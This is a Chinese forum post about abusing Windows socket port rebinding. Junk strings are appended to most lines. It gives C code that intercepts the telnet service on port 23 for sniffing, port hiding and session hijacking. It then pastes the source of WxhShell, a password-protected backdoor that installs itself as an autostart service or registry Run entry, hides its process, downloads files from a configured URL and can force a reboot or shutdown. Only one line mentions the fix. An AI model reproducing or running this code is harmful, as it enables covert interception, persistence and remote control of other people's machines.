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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !d^`YEfE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Nt'5}  
mvw:E_  
  saddr.sin_family = AF_INET; j oG>=o  
NplSkv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !9 F+uc5  
9p.>L8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f[RnL#*xJU  
<ZiO[dEV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h(L5MZs  
9+:Trc\%N  
  这意味着什么?意味着可以进行如下的攻击: Wama>dy%  
lO *Hv9#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oW_WW$+N  
^#o.WL%4/B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L:<'TXsRA  
ke0W?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D8ly8]H  
.EdV36$n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _=MWt_A '3  
hD*?\bBs0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D.!4i.)8}  
$d"+Njd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V*aTDU%-.  
!8g y)2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NO$Nl/XM  
#q- _  
  #include UXP;'  
  #include 2KEww3.{  
  #include - \QtE}|4  
  #include    OK 6}9Eu9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pr"flRQr#  
  int main() 0TpA3K  
  { -}J8|gwwp  
  WORD wVersionRequested; F\I^d]#,[  
  DWORD ret; CmTJa5:  
  WSADATA wsaData; =N c`hP  
  BOOL val; ;vitg"Zh>  
  SOCKADDR_IN saddr; ~iWSc8-  
  SOCKADDR_IN scaddr; S6mmk&n  
  int err; >MT)=4 9q  
  SOCKET s; g6V*wjC  
  SOCKET sc; <G >PPf}  
  int caddsize; N[-)c,O  
  HANDLE mt; m%&B4E#3T  
  DWORD tid;   bhmjH(.t  
  wVersionRequested = MAKEWORD( 2, 2 ); .kIf1-(<U  
  err = WSAStartup( wVersionRequested, &wsaData ); xh0A2bw'OP  
  if ( err != 0 ) { YO,ldsSz|r  
  printf("error!WSAStartup failed!\n"); W}RR_Gu  
  return -1; *QG;KJ%  
  } s<b7/;w'  
  saddr.sin_family = AF_INET; 6,PL zZ5  
   3[0:,^a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 je-s%kNlJ  
Q 1Ao65  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l&B'.6XKs  
  saddr.sin_port = htons(23); ~}w 8UO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H~Cfni;  
  { ^= G+]$8  
  printf("error!socket failed!\n"); 9x!y.gx  
  return -1; %u}sVRJ  
  } vknFtpx  
  val = TRUE; BE~[%6T7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `vw.~OBl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;[9Is\  
  { M6iKl  
  printf("error!setsockopt failed!\n"); b G)MG0<TT  
  return -1; }b`*%141  
  } |xm|Q(PG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =&b[V"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #4M0%rN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &/9oi_r%r  
t^hkGYj!2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SfUUo9R(sm  
  { 3iw9jhK!W  
  ret=GetLastError(); j&.BbcE45  
  printf("error!bind failed!\n"); 7krA+/Qr(  
  return -1; d}_c (  
  } z7C1&bGe  
  listen(s,2); =*jcO119L  
  while(1) x3 |'jmg  
  { DlI5} Jh  
  caddsize = sizeof(scaddr); b`zf&Mn  
  //接受连接请求 }c%y0)fL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?C35   
  if(sc!=INVALID_SOCKET) T*yveo &j  
  { sA}R!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <h9\A&  
  if(mt==NULL) !$Z"\v'b  
  { \<**SSN  
  printf("Thread Creat Failed!\n"); <J-Z;r(gQN  
  break; QEa=!O  
  } #1@~w}Dh  
  } VKz<7K\/  
  CloseHandle(mt); hm>*eJNp]  
  } Wh5O{G@Ut  
  closesocket(s); avu,o   
  WSACleanup(); ;!?K.,N:N  
  return 0; o"[bIXf-h  
  }   $:!T/*p*  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^<0NIu}  
  { VhgEG(Ud  
  SOCKET ss = (SOCKET)lpParam; WmUW i{  
  SOCKET sc; A#&qoZ(C  
  unsigned char buf[4096]; Ir #V2]$  
  SOCKADDR_IN saddr; R"`{E,yj  
  long num; :'~ gLW>j  
  DWORD val; "b4iOp&:=  
  DWORD ret; (L%q/$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yXg1N N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   u^%')Ncp  
  saddr.sin_family = AF_INET; /}_c7+//  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :n9~H+!  
  saddr.sin_port = htons(23); bK9~C" k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C)s1' =TZ  
  { GK?R76d  
  printf("error!socket failed!\n"); pIiED9  
  return -1; +z0}{,HX  
  } : "te-  
  val = 100; 9PK-r;2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f*{;\n (.t  
  { =pyZ^/}P  
  ret = GetLastError(); u 7Y< ~  
  return -1; 2-!Mao"^  
  } &>.1%x@R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @;D}=$x  
  { :b*`hWnQ  
  ret = GetLastError(); KxmPL  
  return -1; fMPq  
  } Q0Qm0B5eY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k<zGrq=8J  
  { 2Q|*xd4B^  
  printf("error!socket connect failed!\n"); v9lB k]c  
  closesocket(sc); o~_>p/7;  
  closesocket(ss); 5'Jh2r  
  return -1; N('DIi*or  
  } ,9wenr  
  while(1) R(N(@KC  
  { 7u5\#|yL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u%T$XG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %yM' Z[-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N3p 7 0  
  num = recv(ss,buf,4096,0); ."Ix#\|x  
  if(num>0) IPi<sE  
  send(sc,buf,num,0); ugCS &  
  else if(num==0) GtJ*&=(  
  break; ANQa2swM  
  num = recv(sc,buf,4096,0); )-KE4/G  
  if(num>0) m_02"'  
  send(ss,buf,num,0); tO>OD#  
  else if(num==0) 2$zq (  
  break; a& aPBv1  
  } >"g<-!p@  
  closesocket(ss); 8~(+[[TQ@  
  closesocket(sc); >ydb?  
  return 0 ; y{Y+2}Dv/  
  } [Pwo,L,)  
|z.GSI_!)  
bL],KW;Q  
========================================================== s/vOxGc  
X#I`(iHY  
下边附上一个代码,,WXhSHELL qL5#.bR  
;AGs1j  
========================================================== 3k*:B~1  
:CST!+)o  
#include "stdafx.h" _7.GzQJ  
|;u%JW$4  
#include <stdio.h> DT"Zq  
#include <string.h> >l< ~Z;  
#include <windows.h> ElR&scXi__  
#include <winsock2.h> +<WRB\W  
#include <winsvc.h> NU&^7[!yl  
#include <urlmon.h> x$?7)F&z  
JRjMt-7H_  
#pragma comment (lib, "Ws2_32.lib") G q:4rG|  
#pragma comment (lib, "urlmon.lib") T ~~[a|bLa  
z5&%T}$tJ  
#define MAX_USER   100 // 最大客户端连接数 g;#KBxE  
#define BUF_SOCK   200 // sock buffer 2C33;?M  
#define KEY_BUFF   255 // 输入 buffer M|5]#2J_2  
JlDDM %  
#define REBOOT     0   // 重启 5 (21gW9  
#define SHUTDOWN   1   // 关机 4 ^~zN"6]  
r>:L$_]L  
#define DEF_PORT   5000 // 监听端口 *- IlF]  
RJ}yf|d-C  
#define REG_LEN     16   // 注册表键长度 5Jhbf2-  
#define SVC_LEN     80   // NT服务名长度 ?+,*YVT  
RTgA[O4J  
// 从dll定义API Ns|V7|n]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u->@|tEq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fwx~ ~"I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Ma/b=Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8LQ59K_WX  
?F87C[o  
// wxhshell配置信息 Y = g>r]2  
struct WSCFG { Ih-3t*L  
  int ws_port;         // 监听端口 =SK+ \j$  
  char ws_passstr[REG_LEN]; // 口令 w{e3U7;  
  int ws_autoins;       // 安装标记, 1=yes 0=no jQxPOl$-  
  char ws_regname[REG_LEN]; // 注册表键名 ,hTwNVWI9  
  char ws_svcname[REG_LEN]; // 服务名 ,+ \4 '`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *0&4mi8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2 ]DCF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7Z`Mt9:Ht  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N[bR&# p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %%+mWz a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IglJEH[+  
H#|Z8^ *Ds  
}; A eGG  
KI Plb3oh  
// default Wxhshell configuration TvWU[=4Yk  
struct WSCFG wscfg={DEF_PORT, +\k9w.[:/  
    "xuhuanlingzhe", UR/qVO?  
    1, _<%\h?W$  
    "Wxhshell", )+w/\~@  
    "Wxhshell", WpJD=C%  
            "WxhShell Service", +Y5(hjE  
    "Wrsky Windows CmdShell Service", BA1MGh  
    "Please Input Your Password: ", GcZM+c  
  1, l~fh_IV1  
  "http://www.wrsky.com/wxhshell.exe", xgtJl}L  
  "Wxhshell.exe" B%eDBu ")  
    }; ^Cc8F3os=  
YHO;IQ5  
// 消息定义模块 + U+aWk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j(Fa=pi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L_Y9+ e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )RA\kZ"  
char *msg_ws_ext="\n\rExit."; 2Ft8dfdm`  
char *msg_ws_end="\n\rQuit."; 9 wSl,B-  
char *msg_ws_boot="\n\rReboot..."; CQBT::  
char *msg_ws_poff="\n\rShutdown..."; $^vp'^uW>  
char *msg_ws_down="\n\rSave to "; `i t+D  
Z:UgozdC  
char *msg_ws_err="\n\rErr!"; 5?3Isw`v2  
char *msg_ws_ok="\n\rOK!"; 5 Q6{(q|M  
MK-a $~<  
char ExeFile[MAX_PATH]; !@^y)v  
int nUser = 0; nszpG1U:  
HANDLE handles[MAX_USER]; UzU-eyA  
int OsIsNt; q,;".3VQ  
W$JY M3!  
SERVICE_STATUS       serviceStatus; u\()E|?p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ERfd7V<c>  
VMxYZkMNd_  
// 函数声明 C!ZI&cD9  
int Install(void); x1m8~F  
int Uninstall(void); u}-d7-=  
int DownloadFile(char *sURL, SOCKET wsh); FylWbQU9  
int Boot(int flag); hF7V !*5  
void HideProc(void); G}=`VYK  
int GetOsVer(void); B@cJ\  
int Wxhshell(SOCKET wsl); i O%Zd[  
void TalkWithClient(void *cs); G *mO&:q  
int CmdShell(SOCKET sock); _&; ZmNNhc  
int StartFromService(void); ^i{,z*vi  
int StartWxhshell(LPSTR lpCmdLine); Y]+e  Df  
0NL :z1N-h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >vD['XN,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E6'8Zb  
3AdP^B<  
// 数据结构和表定义 x1 ;rb8  
SERVICE_TABLE_ENTRY DispatchTable[] = oF%^QT"R  
{ @9_nwf~X4  
{wscfg.ws_svcname, NTServiceMain},  &7L~PZ  
{NULL, NULL} (MgL"8TS  
}; ur/Oc24i1n  
3E<aiGU  
// 自我安装 y\F`B0#$  
int Install(void) O%YjWb  
{ @D fkGm[%  
  char svExeFile[MAX_PATH]; vQ:x% =]  
  HKEY key; S}zC3  
  strcpy(svExeFile,ExeFile); $"Y3mD}?L  
\3%W_vU_  
// 如果是win9x系统,修改注册表设为自启动 SW,q}-  
if(!OsIsNt) { Hi]vHG(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ojN`#%X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?@Z7O.u  
  RegCloseKey(key); <KHv|)ak  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #'J~Xk   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (g%JK3  
  RegCloseKey(key); 5*JV )[  
  return 0; {[Uti^)m%  
    } %:" RzHN  
  } Jq# [uX  
} 8_"3Yb`f  
else { 'is,^q:@  
J*}VV9H  
// 如果是NT以上系统,安装为系统服务 /lf\ E=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "%:7j!#X|I  
if (schSCManager!=0) E=;BI">.  
{ Xy[}Gp  
  SC_HANDLE schService = CreateService jv*Dg (  
  ( rU; g0'4e  
  schSCManager, P7}t lHX  
  wscfg.ws_svcname, bHO7* E  
  wscfg.ws_svcdisp, :0nK`$'  
  SERVICE_ALL_ACCESS, _TZW|Dh-2F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,"@w>WL<9  
  SERVICE_AUTO_START, Vn)%C_-]A  
  SERVICE_ERROR_NORMAL, i%xI9BO9  
  svExeFile, MP jr_yc]  
  NULL, hA@zoIoe  
  NULL, ])N|[|$  
  NULL, lN);~|IOv7  
  NULL, PASuf.U$"  
  NULL H!Wis3S3G  
  ); nA>*IU[  
  if (schService!=0) p:Iw%eZ:  
  { L5R `w&Up  
  CloseServiceHandle(schService); f8^"E $"  
  CloseServiceHandle(schSCManager); (})]H:W7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {GUb'J  
  strcat(svExeFile,wscfg.ws_svcname); {VBR/M(q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j?=VtVP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H9sZR>(^  
  RegCloseKey(key); ah 4kA LO  
  return 0; P\.WXe#j  
    } .H Fc9^.*  
  } c L?\^K)  
  CloseServiceHandle(schSCManager); D._{E*vg  
} U%Dit  
} {*sGhGwr  
0xN!DvCg>.  
return 1; (2: N;  
} : @s8?eg  
(gLea  
// 自我卸载 XxhsPFv  
int Uninstall(void) YQN.Ohtv*F  
{ Z#CxQ D%\  
  HKEY key; g+igxC}2z  
/d[Mss  
if(!OsIsNt) { 7`Qde!+C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >+L7k^[,0  
  RegDeleteValue(key,wscfg.ws_regname); 1d`cTaQ-  
  RegCloseKey(key); Ny[Q T*nV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (viWY  
  RegDeleteValue(key,wscfg.ws_regname); Cm^Yl p  
  RegCloseKey(key); t5%TS:u  
  return 0; vxb@9 eb!H  
  } 0%/,>IR>r  
} YmOldR9v(  
} E\ tL   
else { Z?-;.G*  
[9LxhPi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8IeI0f"l)  
if (schSCManager!=0) '[%jjUU  
{ 1bd$XnU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dQ,Q+ON>  
  if (schService!=0) CdZnD#F2  
  { i)=m7i  
  if(DeleteService(schService)!=0) { X|,["Az 8  
  CloseServiceHandle(schService); gglf\)E;}E  
  CloseServiceHandle(schSCManager); B4@fY  
  return 0; XWJ SLN(O  
  } 2bkJ /u`i  
  CloseServiceHandle(schService); ;r3}g"D@  
  } tp@*=*^I  
  CloseServiceHandle(schSCManager); ~H7!MC~K  
} ]}.0el{  
} VXA[ TIqp  
f#1/}Hq/I  
return 1; Cc2MYm8  
} :Pc(DfkS  
3+ e4e  
// 从指定url下载文件 5PDSA*  
int DownloadFile(char *sURL, SOCKET wsh) |hc\jb  
{ k; ;viT  
  HRESULT hr; 04~}IbeJ  
char seps[]= "/"; u >4ArtF  
char *token; #vtN+E  
char *file; w#sq'vo4%  
char myURL[MAX_PATH]; V n^)  
char myFILE[MAX_PATH]; w;~>k%}j  
r|<6Aae&  
strcpy(myURL,sURL); r5[4h'f  
  token=strtok(myURL,seps); 6s5yyy=L%~  
  while(token!=NULL) +^Fp&K+^  
  { X PA 0m  
    file=token; ;>8kPG  
  token=strtok(NULL,seps); @cPflb  
  } Vu%n&uF  
Y KY2Cw  
GetCurrentDirectory(MAX_PATH,myFILE); rmsQt  
strcat(myFILE, "\\"); 0 k9<&  
strcat(myFILE, file); H$Kw=kMw  
  send(wsh,myFILE,strlen(myFILE),0); C!5I?z&  
send(wsh,"...",3,0); &~'S)Nun  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i*'Z3Z)  
  if(hr==S_OK) ;?zF6zvQ  
return 0; 07FT)QTE  
else fCg@FHS&^  
return 1; V3Yd&HVWNQ  
G0Hs,B@5?  
} 1 =^  
,m:L2 -J@  
// 系统电源模块 Ch t%uzb,  
int Boot(int flag) b4)k&*dfR  
{ JYQ.EAsr!  
  HANDLE hToken; )nOE 8y/  
  TOKEN_PRIVILEGES tkp; ctHEEFWm  
F{\=PCZ>7  
  if(OsIsNt) { @y5=J`@=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0yaMe@&,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kr]z]4.d@  
    tkp.PrivilegeCount = 1; kutJd{68  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /kRAt^4!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^&NN]?  
if(flag==REBOOT) { e8-ehs>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T<6GcI>A  
  return 0; l#$TYJi  
} NV6G.x  
else { _4v"")Xe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !VRo*[yD@  
  return 0; TM-Fu([LMV  
} cJ2PI  
  } n[P\*S  
  else { 0<Q*7aY  
if(flag==REBOOT) { z&F5mp@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +?Ez} BP  
  return 0; m8+:=0|$  
} 8SZK:VE@  
else { !D;c,{Oz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b]i>Bv  
  return 0; \7 Gz\=\LR  
} 1O0X-C,wo$  
} 8#l+{`$z  
nmg{%P  
return 1; c]NN'9G!{  
} #)]E8=}  
j8a[ (  
// win9x进程隐藏模块 g YUTt  
void HideProc(void) 7 >bMzdH  
{ =k_UjwgN^  
r^5jh1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \<V)-eB   
  if ( hKernel != NULL ) En\Z#0,V  
  { 8k H<$9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3+V#[JBJv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `[Sl1saZ$S  
    FreeLibrary(hKernel); hl]S'yr  
  } !}t-j3bCs  
=?/&u<  
return; r]T0+oQ>  
} T,OS0;7O  
!^?qU;|  
// 获取操作系统版本 RG1\=J$:E  
int GetOsVer(void) X!c?CL  
{ w.^yP7:  
  OSVERSIONINFO winfo; +?AW>&68y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ``4?a7!!  
  GetVersionEx(&winfo); 4.w"(v9V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MUwxgAG`G  
  return 1; ~},W8\C>  
  else "V}qf3 qU  
  return 0; <u0,Fp  
} n[CoS  
M*`hDdS  
// 客户端句柄模块 6 64q~_@B1  
int Wxhshell(SOCKET wsl) 7n&yv9"  
{ p+Lv=e)0u  
  SOCKET wsh; 2*'ciH37  
  struct sockaddr_in client; ]0-<>  
  DWORD myID; 4Jykos2  
QNg\4%  
  while(nUser<MAX_USER) b#='^W3  
{ EO:avH.*0  
  int nSize=sizeof(client); 5v|EAjB6o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JC2*$qu J  
  if(wsh==INVALID_SOCKET) return 1; B;W(iI  
X8R1a?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pkk4h2Ah  
if(handles[nUser]==0) "dtlME{Bx  
  closesocket(wsh); %/pc=i|+  
else &*gbK6JB  
  nUser++; QBihpA 1;  
  } ^l(^z fsZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^P$7A]!  
HeozJ^u\?  
  return 0; r?3Aqi"  
} Yqj+hC6>,  
B9#;-QO  
// 关闭 socket ,g|2NjUAc  
void CloseIt(SOCKET wsh) i}lRIXjdV  
{ >];"N{ A  
closesocket(wsh); S>t>6&A  
nUser--; Qxq-Mpx{  
ExitThread(0); h<NRE0-  
} 8 Z8Y[p  
e=>% ^F  
// 客户端请求句柄 G~!C =l  
void TalkWithClient(void *cs) (B}+h   
{ 9g]M4*?C9P  
1<,/ -H  
  SOCKET wsh=(SOCKET)cs; lT,+bU  
  char pwd[SVC_LEN]; >r}Vf9 5[N  
  char cmd[KEY_BUFF]; ]sL45k2W  
char chr[1]; dG0VBE  
int i,j; KB[QZ`"%!  
e U;jP]FA  
  while (nUser < MAX_USER) { XwPx9+b6j  
 hY=I5[*  
if(wscfg.ws_passstr) { 2w4MJ,Uw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ri+U0[e3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vr4S9`,  
  //ZeroMemory(pwd,KEY_BUFF); Ue7 6py9  
      i=0; [:B*6FXMN~  
  while(i<SVC_LEN) { 88o:NJ}_  
c<jB6|.=2  
  // 设置超时 /gw Cwyo  
  fd_set FdRead; i@,]Z~]  
  struct timeval TimeOut; T4GW1NP  
  FD_ZERO(&FdRead); 1X&B:_  
  FD_SET(wsh,&FdRead); vGN3 YcH  
  TimeOut.tv_sec=8; ;J=:IEk  
  TimeOut.tv_usec=0; R|Y~u*D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U ~1 SF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '{VM> Q  
XeU<^ [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SdI1}&  
  pwd=chr[0]; @]?R2bI  
  if(chr[0]==0xd || chr[0]==0xa) { Funj!x'uE  
  pwd=0; ym%o}( v-  
  break; d~`-AC+  
  } f:vD`Fz1  
  i++; 5\S&)ZA@  
    } 98UlNP  
h=[-Er'B  
  // 如果是非法用户,关闭 socket xa#gWIP*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N-%#\rPq.  
} [Vp\$;\nT  
Le&;g4%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T2|:nC)@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ML= z<u+  
^:z7E1 ~  
while(1) { 5;Ia$lm=y  
5f_7&NxT  
  ZeroMemory(cmd,KEY_BUFF); @vAFfYU9<.  
bn-=fb(  
      // 自动支持客户端 telnet标准   sTOFw;v%  
  j=0; v{koKQ'Y()  
  while(j<KEY_BUFF) { C Z tiWZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M/B/b<['  
  cmd[j]=chr[0]; HNMBXXf, B  
  if(chr[0]==0xa || chr[0]==0xd) { b:Dg}  
  cmd[j]=0; / O)6iJ  
  break; >{XScxaB`  
  } !Uy>eji}  
  j++; )!,@m>0v{  
    } j38 6gL  
yjpz_<7a=  
  // 下载文件 f_'"KF[%  
  if(strstr(cmd,"http://")) { -tyaE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +-ewE-:|L  
  if(DownloadFile(cmd,wsh)) z!Hx @){|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8ds}+TtbY  
  else )X%oXc&C|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P` ]ps?l  
  } fIkT"?  
  else { jY+Do:#/wO  
4J8Dh;a`  
    switch(cmd[0]) { Cuv|6t75'  
   XhA4:t  
  // 帮助 B5`;MQJ  
  case '?': { Yxq j -   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !I7?  
    break; %zflx~  
  } OG}KqG!n  
  // 安装 mz-N{>k  
  case 'i': { "tX7%(  
    if(Install()) h2;l1 G,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QgZJ`G--  
    else iT$d;5_pU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]}~4J.Yn  
    break; Pz1G<eh#{g  
    } w%2ziwgh  
  // 卸载 d?}hCo=/Xq  
  case 'r': { #ovM(Mld  
    if(Uninstall()) xVTo4-[p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Fq=jOA)z$  
    else A^L?_\e6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uMpl#N p  
    break; ay-9c2E  
    } >~wu3q  
  // 显示 wxhshell 所在路径 -( Kh.h  
  case 'p': { %omu  
    char svExeFile[MAX_PATH]; |D+p$^L  
    strcpy(svExeFile,"\n\r"); Ays L-sqR  
      strcat(svExeFile,ExeFile); R8ZD#,;  
        send(wsh,svExeFile,strlen(svExeFile),0); U!NI_uk  
    break; kQ[Jo%YT?E  
    } |Eu*P  
  // 重启 &Ea"hd  
  case 'b': { WL/5 oj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R#LGFXUj  
    if(Boot(REBOOT)) i'iO H|s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nF|Oy0  
    else { 4 +I 3+a"  
    closesocket(wsh); C[0MA ,^  
    ExitThread(0); B G5X_s0/  
    } xD^wTtT  
    break; pJ6Jx(  
    } Rdj8 *f  
